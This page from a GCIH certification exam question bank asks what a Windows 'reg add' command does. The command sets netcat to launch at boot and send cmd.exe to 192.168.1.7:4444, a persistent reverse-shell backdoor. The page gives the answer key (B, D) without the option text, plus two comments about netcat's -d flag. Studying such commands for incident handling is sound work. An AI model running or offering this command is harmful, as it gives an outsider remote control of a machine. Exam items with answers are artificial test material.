Exam GCIH All QuestionsBrowse all questions from this exam
Question 16

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?

Each correct answer represents a complete solution. (Choose all that apply.)

    Correct Answer: B, D

    By running this command, you want to set the Netcat to execute a command any time and add the Netcat command to the Windows registry. The command adds an entry to the Windows registry under HKLM\Software\Microsoft\Windows\CurrentVersion\Run. This entry ensures that Netcat (nc.exe) will run with specific parameters (creating a backdoor) whenever the system starts. The '-d' flag in Netcat is used to make sure Netcat doesn't read from stdin, not to put it in stealth mode or perform banner grabbing.

Discussion
GQOptions: BD

Answer = B and D. -d in netcat = Do not attempt to read from stdin.

DudetteOptions: BD

There is no -d on netcat… B and D